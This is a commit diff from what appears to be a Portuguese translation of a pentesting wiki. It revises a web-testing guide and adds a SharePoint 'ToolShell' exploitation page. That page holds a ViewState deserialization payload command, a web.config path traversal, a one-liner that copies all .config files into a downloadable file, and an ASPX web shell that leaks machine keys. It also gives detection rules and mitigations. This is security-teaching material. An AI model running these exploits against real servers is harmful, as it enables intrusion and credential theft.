Translated ['src/network-services-pentesting/pentesting-web/README.md',

This commit is contained in:
Translator 2025-07-22 14:19:46 +00:00
parent c3c8db6505
commit 25a6ae7920
3 changed files with 154 additions and 26 deletions

View File

@ -423,6 +423,7 @@
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
- [JSP](network-services-pentesting/pentesting-web/jsp.md)
- [Laravel](network-services-pentesting/pentesting-web/laravel.md)
- [Microsoft Sharepoint](network-services-pentesting/pentesting-web/microsoft-sharepoint.md)
- [Moodle](network-services-pentesting/pentesting-web/moodle.md)
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)

View File

@ -4,7 +4,7 @@
## Informações Básicas
O serviço web é o mais **comum e extenso** e existem muitos **tipos diferentes de vulnerabilidades**.
O serviço web é o mais **comum e extenso** e muitos **tipos diferentes de vulnerabilidades** existem.
**Porta padrão:** 80 (HTTP), 443(HTTPS)
```bash
@ -17,7 +17,7 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### Orientação de API Web
### Orientação para API Web
{{#ref}}
web-api-pentesting.md
@ -77,7 +77,8 @@ Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologi
- [**Golang**](golang.md)
- [**GraphQL**](graphql.md)
- [**H2 - banco de dados SQL Java**](h2-java-sql-database.md)
- [**Truques do IIS**](iis-internet-information-services.md)
- [**truques do IIS**](iis-internet-information-services.md)
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
- [**JBOSS**](jboss.md)
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
- [**Jira**](jira.md)
@ -105,12 +106,12 @@ Se a aplicação web estiver usando alguma **tecnologia/plataforma bem conhecida
Se o **código fonte** da aplicação estiver disponível no **github**, além de realizar por **sua conta um teste de caixa branca** da aplicação, há **algumas informações** que podem ser **úteis** para o atual **teste de caixa preta**:
- Existe um arquivo de **Change-log ou Readme ou Versão** ou qualquer coisa com **informações de versão acessíveis** via web?
- Como e onde são salvas as **credenciais**? Existe algum arquivo (acessível?) com credenciais (nomes de usuário ou senhas)?
- Existe um arquivo **Change-log ou Readme ou Version** ou algo com **informações de versão acessíveis** via web?
- Como e onde são salvas as **credenciais**? Existe algum (acessível?) **arquivo** com credenciais (nomes de usuário ou senhas)?
- As **senhas** estão em **texto simples**, **criptografadas** ou qual **algoritmo de hash** é usado?
- Está usando alguma **chave mestra** para criptografar algo? Qual **algoritmo** é usado?
- Você pode **acessar algum desses arquivos** explorando alguma vulnerabilidade?
- Há alguma **informação interessante no github** (problemas resolvidos e não resolvidos)? Ou no **histórico de commits** (talvez alguma **senha introduzida dentro de um commit antigo**)?
- Há alguma **informação interessante no github** (problemas resolvidos e não resolvidos)? Ou no **histórico de commits** (talvez alguma **senha introduzida em um commit antigo**)?
{{#ref}}
code-review-tools.md
@ -176,7 +177,7 @@ Servidores web podem **comportar-se de maneira inesperada** quando dados estranh
Se você descobrir que o **WebDav** está **ativado**, mas não tem permissões suficientes para **fazer upload de arquivos** na pasta raiz, tente:
- **Forçar Brute Force** de credenciais
- **Fazer upload de arquivos** via WebDav para o **resto** das **pastas encontradas** dentro da página web. Você pode ter permissões para fazer upload de arquivos em outras pastas.
- **Fazer upload de arquivos** via WebDav para o **restante** das **pastas encontradas** dentro da página web. Você pode ter permissões para fazer upload de arquivos em outras pastas.
### **Vulnerabilidades SSL/TLS**
@ -211,27 +212,27 @@ Lance algum tipo de **spider** dentro da web. O objetivo do spider é **encontra
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs com parâmetros e os listará.
- [**galer**](https://github.com/dwisiswant0/galer) (go): Spider HTML com capacidades de renderização JS.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, com capacidades de embelezamento JS capaz de buscar novos caminhos em arquivos JS. Também pode valer a pena dar uma olhada no [JSScanner](https://github.com/dark-warlord14/JSScanner), que é um wrapper do LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto no código fonte HTML quanto em arquivos javascript incorporados. Útil para caçadores de bugs, red teamers, ninjas de infosec.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto no código-fonte HTML quanto em arquivos JavaScript incorporados. Útil para caçadores de bugs, red teamers, ninjas de infosec.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Um script python 2.7 usando Tornado e JSBeautifier para analisar URLs relativas de arquivos JavaScript. Útil para descobrir facilmente requisições AJAX. Parece não estar sendo mantido.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado um arquivo (HTML), ele extrairá URLs dele usando expressões regulares engenhosas para encontrar e extrair as URLs relativas de arquivos feios (minificados).
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, várias ferramentas): Coletar informações interessantes de arquivos JS usando várias ferramentas.
- [**subjs**](https://github.com/lc/subjs) (go): Encontrar arquivos JS.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carregar uma página em um navegador sem cabeça e imprimir todas as URLs carregadas para carregar a página.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carregar uma página em um navegador sem interface e imprimir todas as URLs carregadas para carregar a página.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Ferramenta de descoberta de conteúdo misturando várias opções das ferramentas anteriores.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Uma extensão Burp para encontrar caminhos e parâmetros em arquivos JS.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uma ferramenta que, dado a URL .js.map, obterá o código JS embelezado.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta é uma ferramenta usada para descobrir endpoints para um alvo específico.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta é uma ferramenta usada para descobrir endpoints para um determinado alvo.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descobrir links da máquina wayback (também baixando as respostas na wayback e procurando mais links).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastear (mesmo preenchendo formulários) e também encontrar informações sensíveis usando regexes específicas.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite é um avançado Crawler/Spider de segurança web com múltiplas funcionalidades projetado para profissionais de cibersegurança.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [ferramenta de linha de comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, caminhos, segredos e outros dados interessantes do código fonte JavaScript.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [ferramenta de linha de comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, caminhos, segredos e outros dados interessantes do código-fonte JavaScript.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge é uma simples **extensão do Burp Suite** para **extrair os parâmetros e endpoints** da requisição para criar listas de palavras personalizadas para fuzzing e enumeração.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Ferramenta incrível para isso.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Imprimir todos os links que conseguir encontrar.
### Forçar diretórios e arquivos
### Força Bruta em diretórios e arquivos
Comece a **forçar** a partir da pasta raiz e tenha certeza de forçar **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pelo **Spidering** (você pode fazer essa força **recursivamente** e adicionando no início da lista de palavras usada os nomes dos diretórios encontrados).\
Comece a **forçar** a partir da pasta raiz e tenha certeza de forçar **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pelo **Spidering** (você pode fazer essa força bruta **recursivamente** e adicionando no início da lista de palavras usada os nomes dos diretórios encontrados).\
Ferramentas:
- **Dirb** / **Dirbuster** - Incluído no Kali, **antigo** (e **lento**) mas funcional. Permite certificados autoassinados e busca recursiva. Muito lento em comparação com as outras opções.
@ -264,31 +265,31 @@ Ferramentas:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Nota que sempre que um novo diretório for descoberto durante a força bruta ou spidering, ele deve ser forçado._
_Observe que sempre que um novo diretório for descoberto durante a força bruta ou spidering, ele deve ser forçado._
### O que verificar em cada arquivo encontrado
- [**Verificador de links quebrados**](https://github.com/stevenvachon/broken-link-checker): Encontrar links quebrados dentro de HTMLs que podem estar propensos a sequestros.
- **Backups de arquivos**: Uma vez que você tenha encontrado todos os arquivos, procure por backups de todos os arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns para nomear um backup são: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Você também pode usar a ferramenta [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Descobrir novos parâmetros**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descobrir parâmetros ocultos. Se puder, você poderia tentar buscar** parâmetros ocultos em cada arquivo web executável.
- [**Verificador de links quebrados**](https://github.com/stevenvachon/broken-link-checker): Encontre links quebrados dentro de HTMLs que podem estar propensos a tomadas de controle.
- **Backups de Arquivos**: Uma vez que você tenha encontrado todos os arquivos, procure por backups de todos os arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns para nomear um backup são: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Você também pode usar a ferramenta [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Descobrir novos parâmetros**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descobrir parâmetros ocultos. Se puder, você pode tentar buscar** parâmetros ocultos em cada arquivo web executável.
- _Arjun todas as listas de palavras padrão:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comentários:** Verifique os comentários de todos os arquivos, você pode encontrar **credenciais** ou **funcionalidade oculta**.
- Se você estiver jogando **CTF**, um truque "comum" é **esconder** **informações** dentro de comentários à **direita** da **página** (usando **centenas** de **espaços** para que você não veja os dados se abrir o código fonte com o navegador). Outra possibilidade é usar **várias novas linhas** e **esconder informações** em um comentário na **parte inferior** da página web.
- Se você estiver jogando **CTF**, um truque "comum" é **esconder** **informações** dentro de comentários à **direita** da **página** (usando **centenas** de **espaços** para que você não veja os dados se abrir o código-fonte com o navegador). Outra possibilidade é usar **várias novas linhas** e **esconder informações** em um comentário na **parte inferior** da página web.
- **Chaves de API**: Se você **encontrar alguma chave de API**, há um guia que indica como usar chaves de API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
- Chaves de API do Google: Se você encontrar alguma chave de API parecida com **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, você pode usar o projeto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar quais APIs a chave pode acessar.
- **Buckets S3**: Enquanto faz spidering, veja se algum **subdomínio** ou algum **link** está relacionado a algum **bucket S3**. Nesse caso, [**verifique** as **permissões** do bucket](buckets/index.html).
- **Buckets S3**: Enquanto faz spidering, verifique se algum **subdomínio** ou qualquer **link** está relacionado a algum **bucket S3**. Nesse caso, [**verifique** as **permissões** do bucket](buckets/index.html).
### Descobertas especiais
### Descobertas Especiais
**Enquanto** realiza o **spidering** e **força bruta**, você pode encontrar **coisas** **interessantes** que deve **notar**.
**Arquivos interessantes**
**Arquivos Interessantes**
- Procure por **links** para outros arquivos dentro dos **arquivos CSS**.
- [Se você encontrar um _**.git**_ algumas informações podem ser extraídas](git.md).
- [Se você encontrar um arquivo _**.git**_, algumas informações podem ser extraídas](git.md).
- Se você encontrar um _**.env**_, informações como chaves de API, senhas de bancos de dados e outras informações podem ser encontradas.
- Se você encontrar **endpoints de API**, você [também deve testá-los](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "parecerão" com eles.
- **Arquivos JS**: Na seção de spidering, várias ferramentas que podem extrair caminhos de arquivos JS foram mencionadas. Além disso, seria interessante **monitorar cada arquivo JS encontrado**, pois em algumas ocasiões, uma mudança pode indicar que uma vulnerabilidade potencial foi introduzida no código. Você poderia usar, por exemplo, [**JSMon**](https://github.com/robre/jsmon)**.**
@ -298,9 +299,9 @@ _Nota que sempre que um novo diretório for descoberto durante a força bruta ou
- **Deobfuscação JsFuck** (javascript com caracteres:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- Em várias ocasiões, você precisará **entender as expressões regulares** usadas. Isso será útil: [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex).
- Você também pode **monitorar os arquivos onde formulários foram detectados**, pois uma mudança no parâmetro ou o aparecimento de um novo formulário pode indicar uma nova funcionalidade vulnerável potencial.
- Você também pode **monitorar os arquivos onde formulários foram detectados**, pois uma mudança no parâmetro ou a aparição de um novo formulário pode indicar uma nova funcionalidade vulnerável potencial.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
**403 Forbidden/Autenticação Básica/401 Unauthorized (bypass)**
{{#ref}}
403-and-401-bypasses.md
@ -312,13 +313,13 @@ Se alguma página **responder** com esse **código**, provavelmente é um **prox
**Autenticação NTLM - Divulgação de informações**
Se o servidor em execução que pede autenticação é **Windows** ou você encontra um login pedindo suas **credenciais** (e pedindo o **nome do domínio**), você pode provocar uma **divulgação de informações**.\
Se o servidor em execução que solicita autenticação é **Windows** ou você encontra um login pedindo suas **credenciais** (e pedindo o **nome do domínio**), você pode provocar uma **divulgação de informações**.\
**Envie** o **cabeçalho**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido ao funcionamento da **autenticação NTLM**, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do cabeçalho "WWW-Authenticate".\
Você pode **automatizar** isso usando o **plugin nmap** "_http-ntlm-info.nse_".
**Redirecionamento HTTP (CTF)**
É possível **colocar conteúdo** dentro de uma **Redireção**. Este conteúdo **não será mostrado ao usuário** (já que o navegador executará o redirecionamento), mas algo pode estar **escondido** lá.
É possível **colocar conteúdo** dentro de um **Redirecionamento**. Este conteúdo **não será mostrado ao usuário** (já que o navegador executará o redirecionamento), mas algo pode estar **escondido** lá.
### Verificação de Vulnerabilidades Web

View File

@ -0,0 +1,126 @@
# Microsoft SharePoint Pentesting & Exploitation
{{#include ../../banners/hacktricks-training.md}}
> Microsoft SharePoint (local) é construído sobre ASP.NET/IIS. A maior parte da superfície de ataque web clássica (ViewState, Web.Config, web shells, etc.) está, portanto, presente, mas o SharePoint também vem com centenas de páginas ASPX proprietárias e serviços web que ampliam dramaticamente a superfície de ataque exposta. Esta página coleta truques práticos para enumerar, explorar e persistir dentro de ambientes SharePoint, com ênfase na cadeia de exploração de 2025 divulgada pela Unit42 (CVE-2025-49704/49706/53770/53771).
## 1. Quick enumeration
```
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
```
## 2. Cadeia de exploração 2025 (a.k.a. “ToolShell”)
### 2.1 CVE-2025-49704 Injeção de Código em ToolPane.aspx
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` permite que código *Server-Side Include* arbitrário seja injetado na página, que é posteriormente compilada pelo ASP.NET. Um atacante pode incorporar C# que executa `Process.Start()` e inserir um ViewState malicioso.
### 2.2 CVE-2025-49706 Bypass de Autenticação Impropria
A mesma página confia no cabeçalho **X-Forms_BaseUrl** para determinar o contexto do site. Ao apontá-lo para `/_layouts/15/`, a MFA/SSO aplicada no site raiz pode ser contornada **sem autenticação**.
### 2.3 CVE-2025-53770 Desserialização de ViewState Não Autenticada → RCE
Uma vez que o atacante controla um gadget em `ToolPane.aspx`, ele pode postar um valor `__VIEWSTATE` **não assinado** (ou apenas com MAC) que aciona a desserialização .NET dentro do *w3wp.exe*, levando à execução de código.
Se a assinatura estiver habilitada, roube a **ValidationKey/DecryptionKey** de qualquer `web.config` (veja 2.4) e forje o payload com *ysoserial.net* ou *ysodom*:
```
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
```
Para uma explicação detalhada sobre como abusar do ASP.NET ViewState, leia:
{{#ref}}
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
{{#endref}}
### 2.4 CVE-2025-53771 Path Traversal / divulgação do web.config
Enviar um parâmetro `Source` elaborado para `ToolPane.aspx` (por exemplo, `../../../../web.config`) retorna o arquivo alvo, permitindo a divulgação de:
* `<machineKey validationKey="…" decryptionKey="…">` ➜ forjar cookies ViewState / ASPXAUTH
* strings de conexão e segredos.
## 3. Receitas de pós-exploração observadas na natureza
### 3.1 Exfiltrar todos os arquivos *.config* (variação-1)
```
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
```
O resultado do `debug_dev.js` pode ser baixado anonimamente e contém **todas** as configurações sensíveis.
### 3.2 Implantar um shell web ASPX codificado em Base64 (variação-2)
```
powershell.exe -EncodedCommand <base64>
```
Exemplo de payload decodificado (abreviado):
```csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
```
Escrito para:
```
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
```
A shell expõe endpoints para **ler / girar chaves de máquina** que permitem forjar cookies ViewState e ASPXAUTH em toda a fazenda.
### 3.3 Variante ofuscada (variação-3)
Mesma shell, mas:
* colocada em `...\15\TEMPLATE\LAYOUTS\`
* nomes de variáveis reduzidos a letras únicas
* `Thread.Sleep(<ms>)` adicionado para evasão de sandbox e bypass de AV baseado em tempo.
## 4. Ideias de detecção
| Telemetria | Por que é suspeito |
|------------|---------------------|
| `w3wp.exe → cmd.exe` | O processo de trabalho raramente deve gerar shell |
| `cmd.exe → powershell.exe -EncodedCommand` | Padrão clássico de lolbin |
| Eventos de arquivo criando `debug_dev.js` ou `spinstall0.aspx` | IOCs diretamente do ToolShell |
| `ProcessCmdLine CONTÉM ToolPane.aspx` (logs ETW/Módulo) | PoCs públicas invocam esta página |
Exemplo de regra XDR / Sysmon (pseudo-XQL):
```
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
```
## 5. Dureza & Mitigação
1. **Patch** Atualizações de segurança de julho de 2025 corrigem *todos* os quatro CVEs.
2. **Rotacione** todos os segredos `<machineKey>` e `ViewState` após a violação.
3. Remova a permissão de escrita *LAYOUTS* dos grupos `WSS_WPG` & `WSS_ADMIN_WPG`.
4. Bloqueie o acesso externo a `/_layouts/15/ToolPane.aspx` no nível de proxy/WAF.
5. Ative **ViewStateUserKey**, **MAC habilitado** e *EventValidation* personalizado.
## Truques relacionados
* IIS pós-exploração & abuso de web.config:
{{#ref}}
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
{{#endref}}
## Referências
- [Unit42 Exploração Ativa de Vulnerabilidades do Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
- [GitHub PoC Cadeia de exploração ToolShell](https://github.com/real-or-not/ToolShell)
- [Microsoft Security Advisory CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
- [Microsoft Security Advisory CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
{{#include ../../banners/hacktricks-training.md}}